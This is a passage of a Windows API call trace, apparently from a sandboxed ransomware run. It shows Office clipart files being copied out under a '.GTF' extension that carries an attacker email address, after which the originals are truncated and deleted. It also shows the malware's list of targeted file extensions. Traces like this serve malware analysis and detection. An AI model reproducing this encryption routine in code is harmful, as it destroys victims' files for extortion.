	[0169.129] lstrlenW (lpString="J0107342.WMF") returned 12
	[0169.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0169.130] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=4244) returned 1
	[0169.130] CloseHandle (hObject=0x530) returned 1
	[0169.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 0x220
	[0169.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0169.131] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.131] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0169.132] GetLastError () returned 0x0
	[0169.132] ReadFile (in: hFile=0x530, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x1094, lpOverlapped=0x0) returned 1
	[0169.431] WriteFile (in: hFile=0x568, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x10a0, lpOverlapped=0x0) returned 1
	[0169.432] ReadFile (in: hFile=0x530, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.433] WriteFile (in: hFile=0x568, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.433] SetEndOfFile (hFile=0x568) returned 1
	[0169.433] CloseHandle (hObject=0x568) returned 1
	[0169.433] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.433] SetEndOfFile (hFile=0x530) returned 1
	[0169.650] CloseHandle (hObject=0x530) returned 1
	[0169.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 1
	[0169.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0169.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0169.652] lstrlenW (lpString=".doc") returned 4
	[0169.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.652] lstrlenW (lpString=".docx") returned 5
	[0169.652] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.652] lstrlenW (lpString=".pdf") returned 4
	[0169.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.652] lstrlenW (lpString=".xls") returned 4
	[0169.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.652] lstrlenW (lpString=".xlsx") returned 5
	[0169.652] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.652] lstrlenW (lpString=".ppt") returned 4
	[0169.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0169.652] lstrlenW (lpString=".zip") returned 4
	[0169.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.652] lstrlenW (lpString=".rar") returned 4
	[0169.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.652] lstrlenW (lpString=".bz2") returned 4
	[0169.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.652] lstrlenW (lpString=".7z") returned 3
	[0169.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0169.652] lstrlenW (lpString=".dbf") returned 4
	[0169.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0169.653] lstrlenW (lpString=".1cd") returned 4
	[0169.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0169.653] lstrlenW (lpString=".jpg") returned 4
	[0169.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0169.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0169.653] lstrlenW (lpString=".doc") returned 4
	[0169.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.653] lstrlenW (lpString=".docx") returned 5
	[0169.653] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.653] lstrlenW (lpString=".pdf") returned 4
	[0169.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.653] lstrlenW (lpString=".xls") returned 4
	[0169.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.653] lstrlenW (lpString=".xlsx") returned 5
	[0169.653] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.653] lstrlenW (lpString=".ppt") returned 4
	[0169.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0169.653] lstrlenW (lpString=".zip") returned 4
	[0169.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.653] lstrlenW (lpString=".rar") returned 4
	[0169.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.653] lstrlenW (lpString=".bz2") returned 4
	[0169.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.653] lstrlenW (lpString=".7z") returned 3
	[0169.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0169.653] lstrlenW (lpString=".dbf") returned 4
	[0169.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0169.653] lstrlenW (lpString=".1cd") returned 4
	[0169.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0169.654] lstrlenW (lpString=".jpg") returned 4
	[0169.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.654] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0169.654] lstrlenW (lpString="J0107458.WMF") returned 12
	[0169.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0169.654] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=3568) returned 1
	[0169.654] CloseHandle (hObject=0x530) returned 1
	[0169.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 0x220
	[0169.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0169.655] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.655] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0169.656] GetLastError () returned 0x0
	[0169.656] ReadFile (in: hFile=0x530, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0xdf0, lpOverlapped=0x0) returned 1
	[0169.658] WriteFile (in: hFile=0x48c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xe00, lpOverlapped=0x0) returned 1
	[0169.659] ReadFile (in: hFile=0x530, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.659] WriteFile (in: hFile=0x48c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.659] SetEndOfFile (hFile=0x48c) returned 1
	[0169.660] CloseHandle (hObject=0x48c) returned 1
	[0169.660] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.660] SetEndOfFile (hFile=0x530) returned 1
	[0169.666] CloseHandle (hObject=0x530) returned 1
	[0169.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 1
	[0169.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0169.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0169.667] lstrlenW (lpString=".doc") returned 4
	[0169.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.667] lstrlenW (lpString=".docx") returned 5
	[0169.667] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0169.667] lstrlenW (lpString=".pdf") returned 4
	[0169.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.668] lstrlenW (lpString=".xls") returned 4
	[0169.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.668] lstrlenW (lpString=".xlsx") returned 5
	[0169.668] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0169.668] lstrlenW (lpString=".ppt") returned 4
	[0169.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0169.668] lstrlenW (lpString=".zip") returned 4
	[0169.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.668] lstrlenW (lpString=".rar") returned 4
	[0169.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.668] lstrlenW (lpString=".bz2") returned 4
	[0169.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.668] lstrlenW (lpString=".7z") returned 3
	[0169.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0169.668] lstrlenW (lpString=".dbf") returned 4
	[0169.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0169.668] lstrlenW (lpString=".1cd") returned 4
	[0169.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0169.668] lstrlenW (lpString=".jpg") returned 4
	[0169.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0169.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0169.668] lstrlenW (lpString=".doc") returned 4
	[0169.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.668] lstrlenW (lpString=".docx") returned 5
	[0169.668] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0169.668] lstrlenW (lpString=".pdf") returned 4
	[0169.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.668] lstrlenW (lpString=".xls") returned 4
	[0169.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.669] lstrlenW (lpString=".xlsx") returned 5
	[0169.669] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0169.669] lstrlenW (lpString=".ppt") returned 4
	[0169.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0169.669] lstrlenW (lpString=".zip") returned 4
	[0169.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.669] lstrlenW (lpString=".rar") returned 4
	[0169.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.669] lstrlenW (lpString=".bz2") returned 4
	[0169.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.669] lstrlenW (lpString=".7z") returned 3
	[0169.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0169.669] lstrlenW (lpString=".dbf") returned 4
	[0169.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0169.669] lstrlenW (lpString=".1cd") returned 4
	[0169.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0169.669] lstrlenW (lpString=".jpg") returned 4
	[0169.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.669] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0169.669] lstrlenW (lpString="J0107468.WMF") returned 12
	[0169.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0169.671] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=9612) returned 1
	[0169.671] CloseHandle (hObject=0x530) returned 1
	[0169.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 0x220
	[0169.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0169.672] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.672] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0170.111] GetLastError () returned 0x0
	[0170.111] ReadFile (in: hFile=0x530, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x258c, lpOverlapped=0x0) returned 1
	[0170.129] WriteFile (in: hFile=0x570, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x2590, lpOverlapped=0x0) returned 1
	[0170.130] ReadFile (in: hFile=0x530, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.130] WriteFile (in: hFile=0x570, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.130] SetEndOfFile (hFile=0x570) returned 1
	[0170.131] CloseHandle (hObject=0x570) returned 1
	[0170.131] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.131] SetEndOfFile (hFile=0x530) returned 1
	[0170.135] CloseHandle (hObject=0x530) returned 1
	[0170.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 1
	[0170.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0170.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0170.440] lstrlenW (lpString=".doc") returned 4
	[0170.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.440] lstrlenW (lpString=".docx") returned 5
	[0170.440] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0170.440] lstrlenW (lpString=".pdf") returned 4
	[0170.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.440] lstrlenW (lpString=".xls") returned 4
	[0170.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.440] lstrlenW (lpString=".xlsx") returned 5
	[0170.440] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0170.440] lstrlenW (lpString=".ppt") returned 4
	[0170.440] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0170.440] lstrlenW (lpString=".zip") returned 4
	[0170.440] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.440] lstrlenW (lpString=".rar") returned 4
	[0170.440] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.440] lstrlenW (lpString=".bz2") returned 4
	[0170.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.440] lstrlenW (lpString=".7z") returned 3
	[0170.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0170.440] lstrlenW (lpString=".dbf") returned 4
	[0170.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0170.440] lstrlenW (lpString=".1cd") returned 4
	[0170.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0170.440] lstrlenW (lpString=".jpg") returned 4
	[0170.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0170.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0170.441] lstrlenW (lpString=".doc") returned 4
	[0170.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.441] lstrlenW (lpString=".docx") returned 5
	[0170.441] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0170.441] lstrlenW (lpString=".pdf") returned 4
	[0170.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.441] lstrlenW (lpString=".xls") returned 4
	[0170.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.441] lstrlenW (lpString=".xlsx") returned 5
	[0170.441] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0170.441] lstrlenW (lpString=".ppt") returned 4
	[0170.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0170.441] lstrlenW (lpString=".zip") returned 4
	[0170.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.441] lstrlenW (lpString=".rar") returned 4
	[0170.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.441] lstrlenW (lpString=".bz2") returned 4
	[0170.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.441] lstrlenW (lpString=".7z") returned 3
	[0170.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0170.441] lstrlenW (lpString=".dbf") returned 4
	[0170.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0170.441] lstrlenW (lpString=".1cd") returned 4
	[0170.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0170.441] lstrlenW (lpString=".jpg") returned 4
	[0170.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.441] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
